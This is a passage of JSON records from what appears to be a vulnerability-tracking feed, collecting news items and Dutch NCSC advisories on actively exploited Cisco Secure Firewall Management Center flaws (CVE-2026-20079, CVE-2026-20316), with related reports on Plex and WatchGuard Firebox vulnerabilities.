\u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0438 \u0440\u0430\u043d\u044c\u0448\u0435.\n\n29 \u0438\u044e\u043b\u044f Cisco\u00a0\u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0430 \u043e\u0431 \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Secure FMC - CVE-2026-20316, \u043e\u0442\u043c\u0435\u0447\u0430\u044f \u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e. \u0418 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0436\u0435  \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e CVE-2026-20079, \u0432\u043a\u043b\u044e\u0447\u0438\u0432 \u0432 \u043d\u0435\u0433\u043e \u0442\u0435 \u0436\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430.", "creation_timestamp": "2026-09-12T00:00:42.513385Z"}, {"uuid": "0d2c4622-c506-4cf1-9945-bfb6a9aa6bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://t.me/true_secator/8597", "content": "\u0411\u043e\u043b\u0435\u0435 36 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Plex Media, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u0442 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 Plex \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043c\u0435\u0434\u0438\u0430\u0441\u0435\u0440\u0432\u0435\u0440\u044b\u00a0\u0432 \u0447\u0430\u0441\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Plex Media Server \u0432\u0435\u0440\u0441\u0438\u0438 1.43.2 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u043e\u0431\u043d\u043e\u0432\u0438\u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 Plex Media Server \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.43.3 (\u043e\u0442 19 \u043c\u0430\u044f) \u0438 Plex Desktop \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.115.0 (\u043e\u0442 13 \u0430\u0432\u0433\u0443\u0441\u0442\u0430).\n\n\u0412 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0430 \u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0431\u043e\u043b\u0435\u0435 36 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Plex Media Server,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Plex \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Plex \u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f (\u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f) \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 WatchGuard Firebox \u0438 Cisco.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e CISA \u0435\u0449\u0435 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e. \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430 \u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u0431\u0430\u043d\u0434\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0CVE-2025-14733\u00a0\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430,\u00a0\u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Fireware OS 11.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f 11.12.4_Update1), 12.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f 12.11.5), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0435\u0440\u0441\u0438\u0439 2025.1\u20132025.1.3.\n\n\u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 WatchGuard\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b Firebox \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 VPN IKEv2, \u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439, \u0435\u0441\u043b\u0438 VPN-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0444\u0438\u043b\u0438\u0430\u043b\u0430 \u0441\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0448\u043b\u044e\u0437\u043e\u043c \u0432\u0441\u0435 \u0435\u0449\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043e.\n\nWatchGuard \u0442\u043e\u0433\u0434\u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0438 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c IOCs, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Firebox.\n\nShadowserver \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430\u00a0\u0431\u043e\u043b\u0435\u0435 115 000 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Firebox \u0432 \u0441\u0435\u0442\u0438, \u0438 \u043f\u043e\u0447\u0442\u0438 9000 \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0435\u0432\u044f\u0442\u044c \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\u041f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e WatchGuard \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0441\u043b\u0443\u0433\u0438 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 250 000 \u043c\u0430\u043b\u044b\u043c \u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u043c \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c, \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0431\u043e\u043b\u0435\u0435 17 000 \u0440\u0435\u0441\u0435\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0443\u0441\u043b\u0443\u0433 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\nCisco \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0438\u043c\u0435\u044e\u0449\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-20079, \u0432 \u0435\u0435 Secure Firewall Management Center (FMC) \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u043b\u043b CVSS 10,0 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Cisco \u0442\u0430\u043a \u0438 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0438, \u043a\u0442\u043e \u0437\u0430 \u043d\u0438\u043c\u0438 \u0441\u0442\u043e\u044f\u043b \u0438 \u043a\u0430\u043a\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e\u0441\u043b\u0435 \u0438\u0445 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u0438\u0447\u0435\u043c Cisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-20079 \u0435\u0449\u0435 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435, \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0438 \u0440\u0430\u043d\u044c\u0448\u0435.\n\n29 \u0438\u044e\u043b\u044f Cisco\u00a0\u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0430 \u043e\u0431 \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Secure FMC - CVE-2026-20316, \u043e\u0442\u043c\u0435\u0447\u0430\u044f \u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e. \u0418 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0442\u043e\u0433\u0434\u0430 \u0436\u0435  \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e CVE-2026-20079, \u0432\u043a\u043b\u044e\u0447\u0438\u0432 \u0432 \u043d\u0435\u0433\u043e \u0442\u0435 \u0436\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430.", "creation_timestamp": "2026-09-12T00:00:42.563678Z"}, {"uuid": "3e10ee21-4fb1-4a5a-9559-47734b12b7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3mvbs4lhuom2r", "content": "Cisco Secure Firewall Management Center FMC Vulnerability Chain Exploitation\n\nhttps://www.helpnetsecurity.com/2026/09/10/cisco-fmc-exploited-cve-2026-20079-cve-2026-20316\nhttps://flagthis.com/tldr/7247\n\n##Cisco ##ZeroDay ##Ransomware ##APT ##Vulnerability", "creation_timestamp": "2026-09-12T00:09:52.966534Z"}, {"uuid": "ad85c7bb-4284-4d4c-82c7-380b6f36cfac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://thehackernews.com/2026/09/cisco-fmc-flaws-exploited-to-steal.html", "content": "Cisco has revealed that three distinct threat clusters linked to ransomware and state-sponsored attacks have been exploiting two recently patched Secure Firewall Management Center (FMC) vulnerabilities.\n\nThe attacks leverage CVE-2026-20079 (CVSS score: 10.0), an authentication bypass vulnerability in the web interface of FMC software that could allow an unauthenticated, remote attacker to bypass", "creation_timestamp": "2026-09-12T01:00:38.338015Z"}, {"uuid": "86d68829-de38-4a2b-a2f1-fdf3515d5d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0271", "content": "Cisco heeft een kwetsbaarheid verholpen in Cisco Secure Firewall Management Center. De kwetsbaarheid bevindt zich in de webinterface van Cisco Secure Firewall Management Center en betreft een hard-coded, statisch wachtwoord voor een laaggeprivilegieerd account. Hierdoor kunnen niet-geauthenticeerde externe aanvallers toegang verkrijgen zonder inloggegevens. Deze toegang kan leiden tot het blootstellen van gevoelige data die door het systeem wordt opgeslagen of beheerd. In combinatie met andere kwetsbaarheden kan deze toegang leiden tot privilege-escalatie.\n\nHet Amerikaanse CISA heeft de kwetbaarheid op de Known Exploited Vulnerabilities-lijst geplaatst, wat indicatief is dat er binnen de Amerikaanse Federale Overheid misbruik heeft plaatsgevonden van deze kwetsbaarheid.\n\nHet is goed gebruik om web-interfaces van management omgevingingen *niet* publiek toegankelijk te hebben, maar af te steunen in een separate beheer-omgeving.\n\n**UPDATE 11-09-26:**\nCisco meldt dat succesvolle exploitatie van de kwetsbaarheid met kenmerk CVE-2026-20316 is waargenomen. Organisaties wordt geadviseerd de updates van Cisco direct toe te passen en kwetsbare systemen te controleren op aanwijzingen van misbruik. Raadpleeg de Talos blog voor aanvullende aanbevelingen.  \n**EINDE UPDATE**", "creation_timestamp": "2026-09-12T01:00:39.882426Z"}, {"uuid": "c38714f3-9353-4eba-af15-7293291a7444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "Cisco heeft kwetsbaarheden verholpen in Cisco Secure Firewall Management Center.  De kwetsbaarheid met kenmerk CVE-2026-20079 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Een ongeauthenticeerde externe kwaadwillende kan de authenticatiecontroles omzeilen door een onjuist systeemproces dat bij het opstarten is aangemaakt te misbruiken. De kwaadwillende kan deze kwetsbaarheid misbruiken door speciaal geprepareerde HTTP-verzoeken naar een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen verschillende scripts en commando\u2019s uit te voeren die root-toegang tot het apparaat mogelijk maken.\n\nDe kwetsbaarheid met kenmerk CVE-2026-20131 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Deze kwetsbaarheid stelt ongeauthenticeerde externe kwaadwillende in staat om willekeurige Java-code uit te voeren met root-rechten. De kwetsbaarheid wordt veroorzaakt door de onveilige deserialisatie van door de gebruiker aangeleverde Java-byte-stromen. Een kwaadwillende kan deze kwetsbaarheid misbruiken door een speciaal geprepareerd, geserialiseerd Java-object naar de webgebaseerde beheerinterface van een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in 